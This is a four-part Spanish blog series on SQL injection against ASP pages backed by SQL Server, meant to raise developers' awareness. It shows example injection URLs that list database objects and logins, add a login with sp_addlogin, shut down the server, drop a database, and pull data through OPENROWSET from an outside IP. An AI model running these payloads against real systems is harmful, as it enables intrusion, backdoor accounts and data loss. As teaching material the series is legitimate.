Inyecciones SQL (IV parte)

Como que me ha gustado esta serie de entregas sobre inyecciones sql, así que me animé a escribir esta última entrega.

A estas alturas ya estamos de acuerdo que las aplicaciones web son las más expuestas a las inyecciones sql ..cierto?

Y por queeeeé? Pues, es por la naturaleza misma de una aplicación web, que es pública y permite el acceso tanto a individuos propios como extraños, esto, de por sí, significa un serio riesgo para las organizaciones... y por lo tanto esta tarea de desarrollar grandes aplicaciones hay que ponerla en manos de expertos.
Que cobran caro? bueno, cobran lo que se merecen: se quemaron las pestañas aprendiendo... pero son quienes permitirán que por las noches duermas tranquilo... hey empresario, escúchame bien... velarán tus sueños!!

Otro dato, cada vez más chibolos juegan a ser hackers, algunos terminarán siéndolo... ellos quieren ser reconocidos, están sedientos de triunfos, su autoestima estará por los suelos... hasta que logren vulnerar algún sitio web, las estadísticas dicen que los ataques a aplicaciones web por inyecciones SQL están creciendo día a día.

Ahora, combina una inyección SQL con un google hacking ...qué es eso? (hmmm... hacemos un capítulo?)
Eso, mi querido amigo, es la nueva generación de ataques (por joder, hay que decirlo todo!!) ...los hackers están usando la potencia de los motores de búsqueda para buscar víctimas y perpetrar sus ataques.

Encontrar una aplicación web vulnerable es tan fácil como realizar una búsqueda en google.

Otra forma interesante de ataque a aplicaciones web, es a través de los gusanos (worms), pero, ese es otro cantar, no es tema pa' esta entrega.

Las organizaciones están aprendiendo a punta de experiencia que hay que tomar en serio esto de los ataques por inyección SQL.

He dejado bastantes puntos "poco claros" como para que arruges varias veces la frente mientras lees. Y espero que se desate un feedback de la patada... eso quiero, que preguntes y/o discrepes y/o aportes a este tema.

Nota: Si te parece interesante este tema de SQL y quieres profundizar, déjame recomendarte el sitio web http://www.portalsql.com/ de mi amigo Miguel Egea, él es SQL SERVER MVP, una autoridad en el tema.

Inyecciones SQL (III parte)

Continuando con la exposición ....
No sé si estoy logrando lo que pretendo : que se tome conciencia de que este tema es muy serio y peligroso...
Y cada vez que hacemos consultas a una base de datos, se debe tomar las precauciones del caso, validar las entradas del usuario como si estuvieras seguro de que intentarán ponerte una inyección SQL.

Tío, hasta pueden detener tu servidor SQL SERVER ...
simplemente poniendo; SHUTDOWN;
El comando SHUTDOWN no es una consulta (es una orden!!), por lo tanto no tiene que estar precedido por una palabra reservada como UNION o SELECT o alguna otra...
A decir verdad, el comando SHUTDOWN es tu carta de despido... si no haces bien las validaciones ... no sé si me entiendes.

Noooo, qué va ...el comando SHUTDOWN no es tan malo, digamos que es más o menos malo ...
Quieres saber qué sería realmente malo? realmente malo sería hacerle un ;DROP DATABASE TU_BASE_DE_DATOS;

Otra cosa que pueden hacer -hay que decirlo: es interesante!!- es conectarse desde tu base de datos a otra base de datos.
Repasemos algunas formas de lograr esto:

1.- Definiendo un servidor enlazado, que no es más que los datos de conexión resumidos en un alias, para establecer la conexión a un origen de datos que está en otro servidor (ORACLE, SQL SERVER, ACCESS, EXCEL ...etc)...
y, de esta manera poder manipular los datos como si estuvieran en un único servidor.Para recuperar los datos, simplemente hay que referenciarla a través del alias establecido...algo así:
SELECT * FROM MIALIAS...MITABLA

2.- Usando consultas creadas "al vuelo", con los comandos OPENROWSET y OPENDATASOURCE, que incluye los datos de conexión al servidor en la cadena de consulta, para acceder a datos de diversos orígenes de datos.
Como dije: estos comandos sirven para consultas repentinas o poco usuales.
Y ya que hablamos de diversos orígenes de datos ... cae a pelo que les pase el link de http://www.connectionstrings.com/ ... como alguien diría: ahí ta' to'.

Las consultas "al vuelo" son muy usadas para obtener información ajena... ejemplo:
http://127.0.0.1/xxx/Error.aspx?ErrorCode=1 UNION select * from OPENROWSET('SQLoledb','server=121.45.45.55,80;database=TU_BASE_DE_DATOS;uid=sa;pwd=;timeout=5','SELECT blah FROM blah)
Se dan cuenta que las posibilidades de inyectar código SQL son inmensas?

Tío, si tú piensas que no tienes que preocuparte de las inyecciones SQL... déjame decirte que estás totalmente loco.

Pero, defenderse de las inyecciones SQL es muy fácil:
Lo único que tienes que hacer es analizar minuciosamente la data que va a ser usada como parámetro en tu consulta SQL.

Esperando haberte concientizado un poco ... me despido temporamente.

Inyecciones SQL (II parte)

Ya en la anterior entrega les comentaba sobre los ataques por inyección SQL desde la web.
Repasemos algo de teoría, ...SQL SERVER usa las sentencias del lenguaje T-SQL para extraer data y crear objetos en la base de datos.
Este T-SQL se divide en:
DDL, Lenguaje de Descripción de Datos:Para crear / destruir objetos de la base de datos (CREATE, DROP ...),
DML, Lenguaje de Manipulación de Datos: Para insertar / modificar datos en los objetos creados(SELECT,INSERT, ...) y,
DCL, Lenguaje de Control de Datos:Para conceder permisos de quién puede usar cuál objeto (GRANT, DENY ...).

Es más, un buen DBA debería poder administrar sus bases de datos usando sólo T-SQL... y si ellos pueden manejar toda sus base de datos con puro T-SQL .... entonces:
¿no es cierto que si alguien maneja bastante bien el T-SQL, podrá -tal vez- manipular tu base de datos?
Podrían por ejemplo consultar por los procedimientos almacenados del sistema y procedimientos extendidos? Claro pe'...

Otro pequeño ejemplo:
SELECT [name] FROM sysobjects WHERE [name] LIKE '%reg%'
Esta consulta retorna una lista de los procedimientos almacenados que manipulan el registro de windows.
Seguro que no muchos sabían que se puede manipular el registro desde T-SQL. Se puede hacer eso y mucho más.

Un gran error que los programadores cometen a menudo es configurar el DSN con usuario sa. Haciendo esto le dan full accesoa la aplicación web sobre la base de datos (y por lo tanto, a las inyecciones SQL ... jeje).
Si tú ejecutas esta sentencia:
SELECT USER ....../Error.aspx?ErrorCode=2 UNION SELECT USER
estarías obteniendo el usuario con el cual se ha establecido la conexión al Servidor SQL SERVER.
De esta forma prácticamente estarías determinando tu nivel de acceso a la base de datos.

Pongámonos en el caso que la consulta me devuelva DBO ... Bingo !!
Obtengo el rol con el cual se logueó el usuario ... ojo, no es el actual login ID ...si quieres obtener el actual login , o todos los logins, debes obtenerlo de la base de datos master ... en la tabla sysxlogins.

Créeme que si tú haces algo como esto:
.../Error.aspx?ErrorCode=2 union select name from master..sysxlogins
el resultado será la completa lista de usuarios de tu servidor de base de datos.
Vayamos un poco más allá ... añadiremos nuestro propio login y password a la base de datos:
.../Error.aspx?ErrorCode=2;exec sp_addlogin 'usuarioloco','loquillo','master'

Listo. Observa que en lugar de poner el operador UNION, he puesto un punto y coma ... lo cual evita que retornen filas.
Para confirmar que nuestra travesura tuvo éxito simplemente ejecutamos nuevamente la sentencia
.../Error.aspx?ErrorCode=2 union select name from master..sysxlogins

La seguimos en la próxima entrega ... chau.

Inyecciones SQL (I parte)

Sería raro que a estas alturas aún quede alguien que no haya escuchado de las inyecciones SQL ... lamentablemente muchos no sólo han escuchado sobre este tema...sino que lo han padecido.
¿Qué tan peligroso es un ataque mediante inyección SQL?
Primero, para que se aplique, el programador debe dejar huecos de seguridad...cómo?? de varias maneras

1.-Consultas dinámicas, osea ... los resultados están en función al input del cliente.
2.-Concatenar segmentos de una consulta dentro de una consulta parametrizada.
3.-No validar los inputs del usuario o validarlos pobremente.
Chequea este ejemplo:
sSql = "select ErrorMessage from ErrorMessages where ErrorCode = " & Request.QueryString("ErrorCode")
Esta consulta tiene una parte estática y la otra variable... que dependerá del número de error pasado por esta url http://127.0.0.1/webApp/Error.aspx?ErrorCode=2

Obviamente la cadena de consulta se convertiría en esto
"select ErrorMessage from ErrorMessages where ErrorCode = 2"

todo claro hasta ahí... Si nosotros cambiamos el código del error a 3, quedaría así:
...where ErrorCode = 3" cierto??
Hasta ahí tampoco hay gran problema ..pero qué pasa si ponemos algo equivocado? ..algo como "2' "
A decir verdad, atacar inputs de tipo NUMÉRICO es lo más sencillo que se puede hacer...ya que la aplicación espera un número y no un caracter, tons' ...no habrá una comilla simple que cierre el input ... exacto!!! ... qué bueno que se te ocurrió!!

entonces podemos concatenar esa cadena de consulta con otra consulta de ataque...
Sigamos, noten que he ingresado, adicionalmente, una simple comilla ... esto me causará un error ... y el atacante se daría cuenta que no validaste las entradas para la consulta.

Esto es el principio de una serie de pruebas que intentará ¡¡por joder!! seamos crudos.
Otra cosa, si tú no pusiste una página de error personalizada ... ya fuiste!! el atacante a estas alturas ya sabría qué base de datos estás usando y que además no validaste los inputs del usuario.
Pero, seamos más creativos aún, cambiemos la url inicial a esto:
http://127.0.0.1/webApp/Error.aspx?ErrorCode=2 UNION select name from sysobjects

finalmente, la cadena de consulta quedaría así:
"select ErrorMessage from ErrorMessages where ErrorCode = 2 UNION select name from sysobjects"

la palabra UNION permite concatenar consultas de esta manera podemos recuperar datos de varias tablas ... osea: ya se metieron en tu base de datos!! ...y si eres un salado ... la consulta les ha retornado los nombres de todos los objetos de tu base de datos.
Ahora, definitivamente estarías en problemas.
Como este tema se extiende más ... la seguiremos en el próximo capítulo. Suerte.